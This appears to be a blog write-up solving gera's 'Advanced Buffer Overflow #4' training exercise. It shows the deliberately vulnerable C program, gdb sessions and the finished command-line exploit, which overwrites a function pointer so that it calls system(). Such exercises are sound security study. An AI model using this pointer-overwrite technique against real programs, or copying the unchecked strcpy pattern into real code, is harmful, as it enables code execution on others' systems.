Sunday, July 4, 2010

Advanced Buffer Overflow #4

/* abo4.c *
* specially crafted to feed your brain by gera */

/* After this one, the next is just an Eureka! away */

extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}

fn sits out in the .data section and pbuf points to some malloc'd memory in the heap.

main's stack frame looks something like:

eip
ebp
pbuf
.
.
buf

We can overflow buf and overwrite what pbuf points to:

(gdb) run `perl -e 'print "A" x 272';` B C
Starting program: /home/dennis/gera/abo4/abo4 `perl -e 'print "A" x 272';` B C

Breakpoint 1, main (argv=4, argc=0xbffff4c4) at abo4.c:15
15 strcpy(pbuf,argc[2]);
(gdb) x/x pbuf
0x41414141: Cannot access memory at address 0x41414141

If we overwrite pbuf to point to fn, we can use the argc[2] strcpy() to overwrite what fn points to. First we need to know where fn is:

$ nm -v abo4 | grep fn
08049728 D fn

Next we need to overwrite pbuf so that it points to fn:

(gdb) run `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` BBBB C
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/dennis/gera/abo4/abo4 `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` BBBB C

Breakpoint 7, main (argv=4, argc=0xbffff4c4) at abo4.c:15
15 strcpy(pbuf,argc[2]);
(gdb) x/x pbuf
0x8049728
: 0x08048348

Now that we control fn, lets point it back to system() again. Get system()'s location:

(gdb) info functions
All defined functions:

File abo4.c:
int main(int, char **);

Non-debugging symbols:

0x08048310 _init
0x08048338 system@plt

Finally, lets points fn to system():

$ abo4 `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` `perl -e 'print "\x38\x83\x04\x08";'` 'echo "you win!"'
you win!

No comments:

Post a Comment